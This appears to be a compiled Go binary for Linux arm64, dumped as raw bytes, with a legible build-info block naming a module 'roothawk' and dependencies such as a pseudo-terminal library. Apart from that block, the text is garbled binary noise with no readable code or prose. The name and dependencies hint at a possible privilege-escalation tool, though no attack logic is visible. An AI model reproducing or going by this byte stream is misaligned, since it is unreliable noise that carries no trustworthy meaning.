ЅW3,*º+d:XON_Y3/Ǻºpfu|D- (º9**pB{%M0M**Q(ņ͆܆G!(@[4º(4CPPlءt`81 R+4@4G4**HP‡ӇrQ؉)Х#Kf -x`: *,*º; NJZȦئkoº81 Ջ+4@4G4**H x@4@**ȧ h**( !!gXZoº 0h9g#} *,*sº SxAIX!4*([ºp,_dhx`2ns7 ?hϰ .0,,*ºSA0,,*ºxA,*[(*3HA2zm}v|i/̧T(A>.>e]  #<nAx':x**@>Aw':x**nAc':x***>AD':x**AŎ֎hG(sº+A5@G*p̨X TAi#Cº02f AR2]2**:p2f  AR2]2**(: ,<eA V8T$qCº]ēA̓ARW *,*sº0GԓAg#} *,*sºp0GԓAg#} *,*sº0GԓAg#} *,*sº0.0GԓAg#} *,*sºb2f ܓAR2]2**4:0GԓAg#} *,*sº032*DLP%tĺº0Mfa':x**\Hpffh:fff,*(cl0yĕ;*D|%̭wĺº0(fa':x**HpZff?fff,*(c0"E@8D|%wĺº fa':x**lH`5ffh:fff,*(c| eo: )|&zĺºfa: ':x**Hffh: :fff,*(c@ڙ1u F>ذ8'4zº{u *':x**Hffu Gfff,*(c$lÛ M͜ǜ&4zĺºPfa ':x**Hff 6fff,*(cPlÛ M͜ǜ&zĺº#cfa ':x**ԳH $ff 6fff,*(c$H -7(,*}p%H/h6-B>I,*}%H/hP-L>I,*}0&H/hX-V>I,*}&H/h`-`>I,*}& Hho-jw,*}`'H/h-t>I,*}'-H/h-~>I,*} (=Hx-,*}(MHn{-]n*}(^HKɝ-ם*}P)X-mD'<p/-KnD'`2"Ơ!-*x`(61y-ʢ )9KH/9D-x0}<WXף-Cdtp@sX-+ )B9N-4j~4[HǺºpE{-Cw3 *,*ǺºE-O٥G/`ǺºFF(  (0@@0((((`XȐp@ȑ((@В80xȑȑ8 ( Ȓ8((ȑ880 ؐHHhh  0  Ȓ0ȑ8( 0(@8PHȑ`8 ؐ  ؐ( ȑ80pȑ8 ؐ((( 8 ؐ ȑ ((((0h0ȑ0ȑpp` (hhȑ(((  (`ȑȑH8' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (' (     0ȑ@HPX`hpxȑȑȑ`    (hx`X8phhH xH xhxpp hxH@0ȑВx (xpp`PXH800HH((`( ؐ( ؐ( ؐ( ؐ  `X8 00 ؐ ؐ ؐ00 PHHȑȑh ( ( x (0ȑ x`X8XHГ     @8`   @8@@8@8@8  8@@x8 x8 x0 ؐP`X8   8(  (0@0`X8 ؐ (0( Xhx ؐ  ؐ ؐ ؐ( H hPHx 80pȑ ؐ ؐ ؐ@ ؐ`p ؐ ؐ ؐ ؐ ( ؐHX ؐx 0 ؐ  ؐ0 P p`XȐ  ؐ@ ` PH  ؐ@ ` PH 00 @ `xPH ؐ 0@P`p ؐ ؐ00v0?vv7(yoHTLyoLTPTxdy oPTTyxoTTH0]]  CB@D` Z 0 88 cVc4VcLVcdVc|VcVcVcVcVXL X X0 X DDG\Gi4GpOwnG@U,rL -8- n(GHwA@X$ L) PL `! x7 4' B- L ! 7F d X         ) HV X! p7 ;- G- V ! 7L j    #     < @ D (X <H- T! x7  ` @ @ He ` h; & (,)+*$(<J &$$$$$$$$ (,** *0*8( )  $@<JX| h@5hH5hd5+ $+4+ h5h5,+<+h5h,5RtY\a]a]kxRY (('HN\>w!08; (9>  ,,'PNd>w!H08;5 (9 ><<7@wp!l0t8; (9>H >P``wt!; (kRYS@5u<8 ,,'LN`>w!08;;4 `(9l>v(  '@NP>w|!x08 (7w!<08 8(  '@NP>w|!x08 (7w!<08 8(   '@NP>w|!x08 (7w !T08 P(w,!pwt!!4Kw! 44'\Nl>w!08h7l  X(w!08 (Rxs<>GN$,qpGt'N>w!08;00< d(9p>N q,LGP7Tw!08; (xt9 >pN(0qtGx'N>w!08;DDP; (9>00<PtoSGw!N>08;N,q,GGx7mG7 N0>4,0<88 (9> YxGw!;<Gtt|CJ08w!;NT>08 ,(N> (0 8llwp!; (9(> P( ExGw!; (ta]Gw$!0; X(kRYNS5u 8qtGx'N>w!08;44@9d>k|RYNS5u8q|G'N>w!08 ;<<H9l>  n%%%4RXYNP\qlG'N>wH!D0L8\;70808$59L>wt!;9>88k8Hw@!RYNq4G'8NH>wt!p0x8a hk8Hw@!RYNq<G '@NP>w|!x08a h4RPYNLTq`G'N>w!087$0(80w! ( (k8Hw@!RYNq4G'8NH>wt!p0x8a hk8Hw@!RYNq<G '@NP>w|!x08a h4RPYNLTq`G'N>w!087$0(80w! ( (4RPYNLTq`G'N>w!087$0(80 |(w! (kk xRYNqpGP'tN>w!08k xRYNqG`'N>w!08$( DHRlYNdpqG'N>w,!(048708 w! ( ()} X  t %p $ 4;;j!,1!41!(J7"h6!J"8"T"d"h0(,$$$@M$4%%'%HW'%W}% %$%D%H"&Had&&'L '1' }%%B'v['%%"'@g''g'lh'('T'Xg5(&%%"%x%|"%%$" 'g '1' i(l}%$%45(d&l%%"((o($o}%D%P))B'Tv['(do'tg '1' ) )B'v[''g '$1' %\%`"i(t2)lI)%%"    '1' }%%<B'v%\%`"5(&%P%T"%|%"'g'<'@g'h'4(8'' g['%%$" 5(&'g '1' i(l'$((%0%4"Q*['Q*1'8 *[' *}%% %T%X"}%h%l%|%"%%"c+xzt++ +0)(+8$)+$)+$))P],P  -h-d-K-Kv0c+ z~- -P---,.|4).:&lY.TVY.lVd.\d.X!`1Y.pVd.t&|.R.|.R..|.R.&&.|M.|MY.0Vd.TY.0Vd.X!`1.0M&P&&Y.|VY.Vd.d.!1!1Y.Vd.Y.Vd.!$1.MY.Vd.!,1.MY.Vd.!41.MY.VY.Vd. d.&|.DR.H.M.MY.DVd.H.M.M /|o+/O%%"c+zt+/@//H////P'%W'%hW'%WJ0 4 <4 h40&00t0*0&4  N O O N L?v,&31DI1@n31PDI1n31D_1_}%%1@%%"1(,2,2>2B~2~24,2,2>24B24}2L}530N`3<Rv3@I3534N3,93X93493d93893@93X91'P 1' 4 %430 '|1't 5o)51' E5l)51' E5l%"z50I5#,25 '1' 5X#,2`4p5o5!5@o4t5@!55\!I6$vY6P    I6@v6h6g64a6Dh6Lg6l76g6g6$I6v7t7}%(%,%T%\"%h%l"6a%7$X7I6dvI6xvI6v7_78%H7x_7$X7`7\7x$M$7%(7h_7$X7,7X$pM$t7%"87_7$X7p7d7$M$7$%4^8&7_7$X7t\%7D_87X77_8T8l9h'9'(7_<9}9t7p9P 5X#,2T9\.47\X}%%I6v7H_R:4 %%"I6Tv%%"I6vI6Dv:Y'%W :d O;8V%h;; ;L;4W;h; W;4;tWH<t;tU<P<9D}<9X};W;;WH<;<86,g1<<{%==-=1<D68g=(-=;<L=d==x%=% &> 1<>,:=8%<&><1<>`:=h% <> := H<DH<4;W%;<>:=&&&@>4 ?0=(=<%T=P>l4 H<p7?<X<\{%=H<,H<\-== ;@W=XH<=?<?X??'???8?X?'?l?8?X???9t }% %$*H%\%`">@R'%tW$LM$P'%Ww@\M%>@R'%W@*T>@R8T9P'9p'(7_AA:A\8 9'9H'h(l7|_@['WA;zAXGw@M89'9'8(<7L_A AAw@M>@RB-BIB<A@X@XbB`7?(Bk6<g<9`}'( '(   Bc+<zt+B`c+zt+xB<k6g<9}%;CP%7HX%d}%4%p}C|C%,6 g%%"7_}%%6h%%"=?!74X=DCd<p{'x(|D2DjDK7_DTRDt'%xWD$ 4 E8D}%%4 H<?(= =4%L=H>d4 H<hXiX: >4 H<7?X% X6$gXd<86,g%<H<<{<<{h;<%0;0?@=L=P=`>x4 H<|X=2Y=%=X%4X068gY[YT_Y_=,%<=87>T4 :Z46(g<9}=>@R>@RNZd;aZtZWaZXZZ@mZlDZmD [,@@ B[@B[@(@8[l*DDP['(@$@4[x['W<\tZ4D8DH [p@\@d}%%DD6hW\%% "}%% %P%T"B[|**'p(t}%%\,E%L%P"C<{6h%%",2]U=+]aF]]a]faZa]$fa]hfZh](B=,>@<R]x]FX(6,g7<>8:=<>:=s^064g%|U<>@R%%X^piJtI^,8Q*0jhY6PY6PY6lPY6tPY6|PY6PY6PY6PY6P 4Y6HPY6P/U 4EN 4 4 \4JpIJpIJpI 4 4 4Q*HEN 4O_;O_;EN,JLI 4JtIJIJIJI 4 4 4J IJ IJ I 4+/\O%l%p"JI_( ,4Q*XQ*X5#,2<1'0 JPI+`$)JId`YJDI1'$ `8JHI`P89'9'0(47D_0;J8I@;JPIX;JLI8t9p'9'(7_E5 lE5PlE5lE5l809,'%XW'9'(7_'%W 4 P4 4 4 (4MJHI t4; 4 ;Q*, 04 04; 4 4; 4 EpD 4 EtD 4 ElDc4-c@(8d9`'9'(7_JI 4<;@;ccMM;;;c||}%% bE@}%% *8)L)T%t%x"}% %$%t%x"1' dbE1' }% %%(%,"}%% %4%8"}%% %8%H"~dTMMccMXMX+/dO%t%x"}%(%DeL!5edRefezeu5ed%@%L"edD'%lW}%d%pex5edef5ed% %"%D%P"eH8el8e8e8e8e 8I6Lv,f,f,fI6v<9}nfJ Id`,YnfpJxId`Yfff$pP4zg<J(IfXff`p"g 4Fgkggzeuggd`YgX{nfhJlId`xYJId`,Y"g 04gD&hlKh;"g 84gLzeu&hpKh;egJIehY6Pg JIeh0Y6,P"g (4g@hP&hXKh;h`LiP - -----ii WNj?zAGWA;ijCNj?ijCNj?Nj?Nj`?@(['D 4 4j4@$WA;zAG}%H%LbEx}%%cD-c,@<bET%|%":A@,['@<<{~d@k@['=k8*<:A@8['L <L<\{89<<{'9' (7 _'%Wk %?===> 4 H<7?0k@ kX k%k k4 Ct%|6xg8l(==%$= =lL>iX@: >H4 =`>4 >4 H<H<`l$7>84 9w@\M~d|l(>@R'%Ww@MA<Alpw@M'%| W% % '% Wl( 7> 4 > 4 l 7?T 7?T % 8 8 9 l '9 '8 (< 7L _l k@ %`kl k }%4%8%h%l" l==%==l>iX: >4 l %07?P7?7?l 8<98'9p'(7_ 4 4 84 |489'9'(7_c-c@ 04 l4fTf;<\ZDCntZE5lD [@@<\Z<D@DX [@l@tn<}%\%`%%"}%%%%"%Lnnn(}%%WotoHX%L%P"toX}%% toX%H%L"toX%%"<6g<D<L{%Doh1p>"#: 47TX8p9l'%W7d_'9'(7_flfGpt}%%~dT;%%"89'9'( 70_:A@$['8% %"}%P%,89%%"'9'<(@7P_}%p%tc@-c(@8p6,g6dg6Dg=  =0|qH}%L%X%t%x"qq}%%%d%h"%%"JI UZC<{ 4 4ccdM`M`MO 41' kOOq;~d1'L E5xl:Y'%W889'9'( 70_qKqTp|l(>@R=;L|l(rd %%%X6g=L~dI6lvI64v<9}I6vMMM<9d}88<98'9x'(7_}%X%%%"<$<4{~dp%X6g= %|l(wr6h%h|l8(<7LX%`}%8%}Cr<%L6@g%%"7_7HX%\}%4%p}C|C%$6g%x%|"7_}%,%0%P%T"7X7\_}%%6h%%"}%(%,6Ph%t%x"}%4%8%p%t"7X;C7T_7_}%,%0%P%T"7X%,}C47@X%\}%,%h}CtC%6 g%l%p"7_}%%6h%%"7_}%% %@%D"7lX}%%UP%`%d"}% %$%D%H"}%<%@6dh%%"}%%6h% %"Pz}%%6@h%t%d"}%%6h%%"}%%6h%L%<"}%d%h6h%%"}%%6h% %"}%$%(6Lh%%p"}%%6h%%"4tTX }%%4tX 4ttX 4t8X %%"%%"%%"}%%%x%|"%T%X"}%%I6$v<9P}fpfpe5e@dfe0ReX6a6h }%% %%"%%"Re6af<pf8p5edRelu5e dReT5etdReP5edRefeb`D@qHf<pf8pg@{gD{5eldRep5edReBuDau^5edRefe~uH\uL65exdRe|6guv.ve!FvD).vh5e$dRefezeLu.vFv)e!veh!Fvh)\v.v<e<!Fv<)v\vv\vPePePg@{fpeP!5edRee,g{e f\pfXpg`{gd{5edReef5e dRee f5eldRepfdpgh{vavC5eddfe w kau$^Re 5edRexef  10"8$f<pf8pg@{gD{5eldRep5edRe5edRefeBu~u\u6au^u$65ePdReTvw1vw1wI6v6whmux<9}I6v!xu<9}I6v&8&<DxLwmux!xu<9}<9}&I6vI6v&Dx0!xduw`muhxl<9<}<9x}I6|vI6pv&&gx*e~xgx*~xgxP*~xHgxP*~x\:PY'%pWgx*~x f0ffDffhp<9L}I6dvgx*e~xgx *~xgxd*~x\gxd*~xp:dY'%WPzPzgx@*~x86 y|q f,pg4{5edRevavC5edReePfp5eddReh`yr~yf`p<9}~y5edReg{`yTr~y,zePu<9P}~y8yxy>yxdzvC,f@wwlzx y,f,f`,f+{ W&&$&(D,}%@%DDTB[%%"D{`D}%%{`DDB[B[%%"%T%X"{@['h}%%}%%%%"%%"D(|`H|t@X}%%%% "H|@@}%|%%%"|,2L,2L7LX|x|xM7_ ,}tN}g}}TE5\#,2X1'h |,2x,2x|,2,27$X7_}%@%D%%"L(@~`@d7X~#['#*7 _LD@4E5l , x# vveDeTeTexs@4vTeTesH4vlelgx(*e~x ӀDӀxgx$*~x 82!fHf%T%X"}%%ff!/DK 6B[$zd@&lhB[pPPz%%"!/Dz@&* DB[ z (44p18ffHftz x4p1fLaf ED3!,/D8z,@&H*D DL0D`lDp|B[4 H<7?X%X 6gff@ @D['@@['$@t@$}%(%,@H*P%d%h"f<f}% %4PPz%$%`"}%l%t%%"ͅOͅO)P)X)t)|ffGpf,fGp|D4 H<TPqTX  Tʐ q\` %%"7_؏ 0?L"7,I6Hv)40*40*}C$}%p%t%%"r%6g}CC%6g}%% 60h%T%X"L@,L@d@@H1' q['1' 1'L 3D1'T L@L$@L0@(L@L@  (!L0@\,}tN}|4ʉʉʉt+= }%D%H%h%l"=}%$%(68h%t%x"@+/\O%l%p"}%@%D%4%8"ْ <D$D$(8p+/<O%L%P"ғғ pғ|$ "!+|+)+$1' cc$@@reK4@`1'P }%D%\C|<x{'(bEQ*7X=$}%8%H7_%%" L<(8o7XX=h7_}%%%$%@" Ǖ\1[Hx DpL$@}%,%00*%0%4"}%% %x%|"T?l?ʉH q<q,<;JD Ppz^>>Ηޗ`[pr 85` 5 }%%1' Y6P%\%`"ʉ$o4\@4@4}%H%L!W\0\*%%"5 5` L$@7<X8h9d'9'(7_7,_\Lh@`L@'('(['P)7_0L8@ L@L@tL@['Dԙ7X['D@@1' 1' 1'< 51' E5l1'L 51' 1' 3 {V0Mu4lԙ87<X['H['|ԚP K$7HX7_ KK 08@9'9`'(7_}%%1' '(1' 1' %%"d1' C<{}%%}%% 70X@@pC =^8^ - =^^^g @' P<:S:: U<:ML 2X%}=20%=d=h= ++++# ++ ) Y  +D:$U::iC = :' Li\C|;= =Sd:S`:'   $:U\:x:iCS:" %!  =:Hve=2%`' 8L|U]M8]$ : C`!H!0    @ZZZ@ !l -P!T"("<"\"|""B"\"TB"|"\"D","(("B"B"4"" - l=g  @' "`| 4 4 Hv#Xb| 4 0#D:9$Xv#Hb$|j$/$`$p=n%@% ]& 0- 4=%q%`q $`=g @' $= '  J(HC^r^2J(<C^r^ # LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL##?w@u ueEEA@@@@@@@0@ @@@p(t:$) 9)@ L)@ w)42w)42w)42)()Lw)(2)P)w)42w)2 % Bbfv~t*`Ct*Ct*@C*@*@$)$ *  - $=g @' J(0Ct^r^ - =g @'   - $=g @' @+< R+\=+|+hu ,``d,8t,p,,  w)L2w)L2t*4C<-t*8C<-t*4C<-t*8C<-t*8C<-<-@ t*8C<-t*4C<-|t*8C<-<-T <-X<-<<-@<-<<-T<-<t*4C<- <-T<-T<-@<-T<-D<-<<-@t*8C<-<-@<-P<-X<-D*@<-L- x"0p"0p"0"0"0"0"0"0G0$V0\ 0~0k0L0q LH LH @pPPRQXT0d~0k1 V-1 K0B1 1 VB1h N1 mB1 -1` KN1` mB1p 0\~0hk0)1*@2@620$62,624X2PX2P62,62,X2,X2,2222222t322|2x*3M3462`M3462`0~0k3P 3T B1X B1 B1 B1 X2@262346262X2X23T3`| ,4 <n40~4|44h4X444l444 444:5EN5L::5LEN5:///B/  B  N5L:N5::5EN5:N5p:N5:N5:N5l:N5:N5(:N5x:N5:~5Tb:5|EN5:5XN5:5XN5d:5i:5 EN5 :5 d:5 EN58:  F&5*@5`5d6\*@5656 686d5*l@5\6p6x*@6X*@1' 08 $"O6`^6 *@6,#101'6686h 6l 3 5)}8  p- =g @' 8  T- =g @'  A!8$ - =8g @' 8  @ - =8g @'  0- =g D@' H^B HX~) p 0- =8g @' 8pg @' RB@@ Ee%% - H=8xg @' 3H) X- =g @' 8;q_;q  9 >x>>x&?? ?0?x@\?=@$yK@4?(@(w)2*(@?(@(w)2*(@ &?@`:A>+A^Ap@:&?@+A@Ah+A+AoBBB\oBB`B  0B4C,<5CB$5C$C<5Cv lyC% yC%yC4%   A   C`J CJ I GItiIhB5C Cm5C@5C<CmDZD Z;D@J;D@J[@@@@@@@@@@ 04@x~Dd DL'D3DVDd <D_D$ EDVD_DVE?7Ep ttE`?7Ep D EME8ME8DV_E _E DXVrEhrEhDVEDEDDXVD_D_DVDP_DP_D\VDd_Dd_D VD_D_DVE 9E 9E {D( _D( _D VE 9E 9D EX *EX *X D$ D VE0xE xE4 9E9 8Fd. F8vT`F. FpvD D  2%HvLDd =F:DdF,DDV D7Ep 7Ep F$ZvDF F4Zv4.G F4Zv4iG$F47EDp LLFxFy$oTTXyoTT@Lw)@2Gtg?v0zvH@Tw)H2DD]Hl lH*i_1_ @DDD@#### v v<p?HHlHpIIHII)IMBI)I M_10_ITHXIH$H(IIh)IMBIh)IM_1_IHII(6vI(I((zv|(zv_$_$v$v$I8I8v8v8I8I8 v$v,I6I6zz]]zz J\ J\\zvl\zvdzdzlH*lH*ii9JXJ8IXJ8Id\iItJGI`iILtJGI<x    : v`$x/5CHdHdHJJ8n%T@H$HX v4CJ CJ CJ CJ CJ $0L-HPF$D$VHzv4vHzvv 0v HTHXI_1T_BI)IMIHI_1_K UKQIT)IXM    &H &Hx%H{($H[(  %H{KdvhKvKv0PKvI\hCmCmKK 5C  K,K@KK\ Ll Kl L 0L  D,VHv|\L8FvFZD$VvH_1P_lHp*ti KD$V TKXF@Zv@ FZvL KFZL KDVD$VD(V7E\p DD7Ep zvv@z]@vF$(M DlV7Ep =F7EXp @@D$VD4 v0IH)ILMI)IMD(V7ELp PP=F7E p < DM<L khh` (  D3DVD_FdZvHHHIMr*N('GgH?v(HINc]H MDrMr$D/)IMn%@JJ8Nn% @ ^wWOKHOHKHDTV\Lp88O{D3D$VE9D(VD D(V]081DD E9DpVE{P %  DX D3DVDX E,D8VE(MEMED VEQ(_E _E D,VaQ(rEhrEhDV~Q(Q4?Q8?EEDV~Q(Q?Q?~Qx(Q`?Qd?Q(Dt Ft. FvDt Ft. FLvDPD D D VQ(Q(E9Dp_D0VD_DVDp_D0V #|R` |R8 xSDIxSTIxShI   V3:TT EEU,U'UUdUU'U'Up'Ul'UUL'U' V91V UU8UT $- (=g @' V4)V:V4)V:V4)V:t*4Ct*8Ct*8CX.hY@ Y ZL"ZX*;Z"Z*XZRZt? $%$^[y[$5"Z|*[0H[ \f| 4 \d6]8t"ZP*6]8t"ZP**@]0]4](9"Zx*^[y[$5"Z|*BFBN;ZP"Z\*^H^1^g^$X _  :*ZP"Z\*g_L^@)^(g_l\w)d2w)d2^[y[$5"Z|*[8H_"&";Z@"ZL*^H^X^[y[05"Z*^`<^g^X  Z"Z*g_L_x\^a aX@ ;ZP"Z\*^Ha^g^XZL"ZX*g_La(^g_\c4chvH'HX< 6g4d@E@Rd|DfDfDfOf.        ɌI   gT:gC - =eh<uhHhThX hp uhthxhXZh@Zg @' ehuhh(h,  RiT-xPi,Yix i<S:$j0YHPi\Y:%:j`%%%! jjjyk$/k(uFk4`k8|kLkXkkkw)2kl`k l4%ldw)p2ll:(ll?ldC*x@""&J(8Cp^ll:mr*@r^AmMmd`m m`m$mDm nL-nxm$mD*,@nLn$nLNnpqnp<nPm(ol-Do@E ^o4}oG o}oT)m p$[ @1p,Hp4YpM3h62Llp 1pHpYp`M3 62lp` pLn(pXn0<n\pn q0!)q,@q0(n q0iq4Hnqoq>lpqr6 rTT @@a!@BJ  RrxErr<lC p- =rEg @' rErrErr4Er}otrllC}olC - =g  @'  ssΎnlC7s4klCUs25j@) $$%sx mxr5j$t@nllC3tlCs8 lClCm Fnt8NtPhZhZ}o F^fFFt(n,t@h|ZhZ}ohZu *uTn\9ulhZ}ohiu$nn(xusuuhunu$vw.vPGvSn0rv@v8*n0v@,v82I^o }ot0w @8w0Cw4NwwtZwGncwI|wwPhZhZwTnDxXl(C AxHom(o-PxXlpCx8Px0lCx8mPxhlCc0*zdvH'HH<6g4d@E@^zm}o}omm ?mm?o8m(oH-om (oL-cn4?cn?hGK@G.B^AH~X   HD ɂ4<D݂ohg<<\6$g4$k) D,3D(VD,_ ݂,oD 4k݂o4k48k݃s^A݂hogI]H 4k݂o݂oD 4k݂o4Dk݂o40kyDy#t4k݂o4k݂oF. F 8݂8o݂o4k݂o D43D8V݂4oD` 4`k4@k4k݂po Ft. FDvdpDt3DVDt_4kD64`k݃s^A4dk4k4tk݂ o  ` F. FvFT. F(vDPgI|]H| % @(hD3DV4,k4 kEMET_E rE(hrE<hEXElD 4k4k4kD 4kDl_݂o4k4xkDX3DlV݂oD E 9EX *D E 94 kD _4 kE 9݂ o݂ oD D@ 4@ k݂o4k݂oD0 4k݂o݂o݂Do݂To4k݂o_Ed DV݂o4@k݂o݂`o݂oF. F`v|D3DVME_E  `Xf`4 k݃s^A4k4 k݃s^A4k    D@Ed4k64k݂of$`4kf&?H 64d k4d kp g4` kI ]H 4p k݂ o݂ o4X kD` lgIp]Hp Mlr݂To݂Lo݂oĆAD|LX< Ll===, h,l,I@_|<|4] ] ] ^A] &?($&? @@:ww   Mp] pp] ] .&?z`[p] 8%_]T .QʉQʉQʉDQʉQʉp] p 3.] (. L Lp]  %0_] hp]|  .&?,w  p] p&?$p]L ] Hp]h .p p]0 ] -D   0g]HT  X*@ -p- h``p``p0`H@p] \p]` H3p]P p] p] -((.-<-| --   QPPPQHʉ4/p>T  -` * @@@@$@ @l  P?| BC_p;_;_; p**4*I@_x aɑ0|ߑLߑ@ߑ@!1)!0aɑ8|,]ɑ0|$]ɑX|$]>@ɑ| Հ >P8O>@amamdaa<m<aa 8>PM % Ŕ8ٔ #ʉ$@7 pD7=@ yK@0tP,L# _18<6<p]8 p%_]X ] X. ^o|m }oT m}o@ BBFBJB"*@*@C85^ *@p $aa   PL#_8a2B,YU8p@q%l<FkH*@*@@a @@@ @@a8;$q<*@$d cx<j8(% w(*t@ޙH T>/>&n>V i ŔhٔH#ʉLcnT?cn?^P`l``Tn\`xnp`n` \$:TN C\8: - =*lGg @'  - =g |@'  - =g @' ŞL7Gt@AJ@H (- ,=r#@%P)͟t0| |4 g @' rd# p- t=%%g @' (PT`dn>,Pm0a| 4 (Bl*@0t,@@w)42Ρ0),@@w)42 >(2W*4@;;&&^o0}o^o0}o@$w)2.E@,w) 2OMv\MF;;;" ѤT*Ѥ*Ѥ* %J$Pii: @$ȥHihȥhi it0 iX i i i iD  i| X i $  B( ȥi $$ $$i)i)ilB,$iF   Q    8F,F 0( $`@ |ԩx;88  F FpFlF8F(F  @@@@``p`@`c@pFP"LlF+X+"+   #    | 4    T&? &?P&?8@.v|v(.@.  Q4p"`p] @pw)t2" p] "0p]4 [ @`@@@ @`@@@@@@ABDHP,D8>H,D8>dD",8>,8>",48>8,48>T4",8>,8>" "@",`8>d`""QK@,8>p",8>",8>"dp]h |p] p] p] QK@"| p] d ", 8>  " p]  p] 0 p]4 Pp]T hp]l xp]| p] p] p] LT%f@f @@@$&"`h$ 7׮Iֲ4(vֲֲvֲvֲv P H1[Uq8=ll||GGGG t   E<hI MM[UHBq8=| ,| MM[UBq8X=_ V V.I  @@t@@$@@D@@4pɵ|u (dfpEj  L , uɵ|uɵ|Pu`ɵ|0u@ɵ@ | u ɵ |4 uD zzL8 (w.@DxI&?  8Iz [ =@yK@8&?$Qʉ(&?\|>$Ra >d|0$4A__D_|__L_X__<_ _L*l=*=*=|,_ |h,_l|,_I@_|_<_|_4Я<. %-/}o$ @|w)2  F&d8}o}o}o , KKaa#, #, KKL3  8V@i*@X*@\aaLKHKRR VPiVti xHw  T]`!G\ !4@&@&<&X&<&L&80&X&D&P&H&D&H&L&~ F0 \,,v80 E$[Uz4H   ƒQ<ʉ(1|A 49 1A 9  BFrbbb J(4C^r^)(((L |  !! (- x=g @'   p- =*@ /l>tg @'  ,- =g @' ViQʉQʉpx  8V`i/>   ĊPMĊMVi *@p*P@*@Vidw($$1$<1$`1O.3$|1$1$1O.3  ]}}}uueeeedD*@nm\d*D@m }o   ViVti ViVti   "#"V,iL*,@*@@Vti-Pptvvrr pX*@  HE`*@ E 8rIc h  8<88 < 8 < 80 < 0 0nT*4@m(m}o  (V i@@@@@(*@*@  $    0$^o*@D*t@<*l@*@*@*H@*@}o}o4  T*@*D@*@*@6^a@;Wa;a;tWi8W,G4x T`] HTI0tTCT; HTa#TItCT `OhaV# `HTIt CTp#\#H*JWX>2W| 4 ( ''L'X' ?)CaN|U#x(*a   >20Wa%pF8-W,&at(NHYH`q=SiS (- ,= g @'   <] X,2062P]p]] ]4 ] ]0HH] #  ,PdXe\:MP-P - =g @' - T L,|  y<H$lJ,D*@1PVvrR@@@ ,$vpwGvS$vwGvDS^o@p*@T*@(*@m ,*@*L@*$@*@t*@}o}o&        P   @ ^oFmm?FFFFQ\}o 0HXJKK( (( 8*h@  (D(*X@D4EA4:rIh . H X J K K( ( ( 8*h@  (I*L@I8JA8:rIh8*h@  (D*D@D EA :rIh )HXJKK@  ((8*h@  (D*H@DEA:rIh-hhxjKKPKPK   @*p@gpRAp:   @QH*x@Q@*|@rIh4*d@  $B@ *<@B@jAA:rIh4*d@  $@ *<@@=AA:rIhUo,  Ut@ltt tHttt(4H`T`  )(H]AH:]A:]A:h]Ah:]A: d_dad(A :AT:A:A:A:A:AH:A|:A:A:A:AL:A:A:A:A$:A@:At:A:A:A:AD: jjjjPjPj@@@L^L` X_X]X _ UUUUUUUUUUU (,.+ՠ)ՠ(ՠ( ]@^``@p^p UT e8 UTTTTTT #(U,U.U+UP)UP(UP|*@$]@$^$`$TT *@ !% (08p (07 !(08 (08@  (08@H (08@H (0`p  (  () $  (08  (08@H ( (08@H     9   ) (  (   ( i (   (  (' ( (/ (# (0 a   (0  (08@+    (0"2  (0 (08@ (08@H  ( (01    !  (08p  ( (  (08 (08@H (018 ( ()P  A ( ( 1 (0| (1 (!Y (08@H (08@HPX  (   (   (08 (0x (0>yQ ( (0c (08  (08  ()*xO @8 (0 (08@H ( (08& (0 (a9I (< ( (08 (08@H   (u (08  (08  (0w  ( ( (3 (0  ( (0gvO (08@_8  (0   (  $ !   (08@H?  (089 ( (08@H (0 (08@ (08@Hq (08@H 7 (08@Hqs (08 (0 (08@  (0 (0 (0W (08@H  (08@ (08@H . 8<A K W^ i sz        !(/ < L W `g sxz         & 5=E PW[b m |           " 08 D NOW_ q {          & 2: OW b sz         #+.4  %)*++,-25j      !#  0 "%)[  "%&)-0257         % 4 E X[[ f u|        / CFK W e y               !%C  N  W  c k n t t z                     /  :  I  U W Y ^  j q r t {                       " * 3 :  E J  U ]  j m u             @@@@@V  =m`6>@QQ`@ VV``@R@@   @q@8TpRB@ `B@`A`C a$  r@`    ss@@@t s@/@R @`K@`} m@ p@a@@ !@Kp,u#@ ^^@_ `p m`_ @C  L@@ `@bc`cb d d`c@5 @ b M ON@M@`o`L@kl`h   od`@`ij@@l@ @if  @h@ g@s@`n @@HG@jj @j f    J  `f @i  j@G@kh@ @e uH@@`k J@ g@ @D``l`O`F@    EE@@rqS`rr _ @ `l@  @`ea@@@@@o@@nno@ @*2+=-1/0 0%@:G)`88 , 66-`20?& DK KCHB4@*@F, &3`;`>979 <<@=@CB5!J@7 H)`5 B>6+""H`J:`"8D 3; 9>% )<`/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @'# W' #\@      @      @    @ @ @ T&@E\@;Y ?W$ T tu@. `%[@U(`(`\#`E/Z 2`YZ@X ]X@ .W`VT@?@$@!@[(Y            SHh88p`Phد(PxȨx@` @` @` @Hp@ @`й@`pв Go buildinf:go1.26.00w tApath command-line-arguments dep github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= dep github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E= dep github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y= dep golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= dep golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= dep golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM= dep roothawk (devel) build -buildmode=exe build -compiler=gc build -ldflags="-s -w" build CGO_ENABLED=0 build GOARCH=arm64 build GOOS=linux build GOARM64=v8.0 2C1 rBA Go fipsinfo DOQM`.2ey#q(7@*VVO+O+++& & `hhȜB"OOB" @])VW *O+O+++8t.@t.////h&q)0q)))`~)SS:*:/{none( ( ) ) ((@S,_, 4ФP@w,+EE E    0909!~az ~AZ*DFFLP~h8j//O ;0U4'0JA0000-//Pv@[^^@nn  `l  Pz'`   H p`0S__-0>ŨΨ٨P0YPPmptª۪ߪ:@[ƤG   /dev/urandom 06' p @ /proc/self/auxv'  p}   p p:  0&o AZaz  1/111p,,,,ͩЩ٩ީߩ7;IMO``lnprs0-g-o-p---*!*! P# 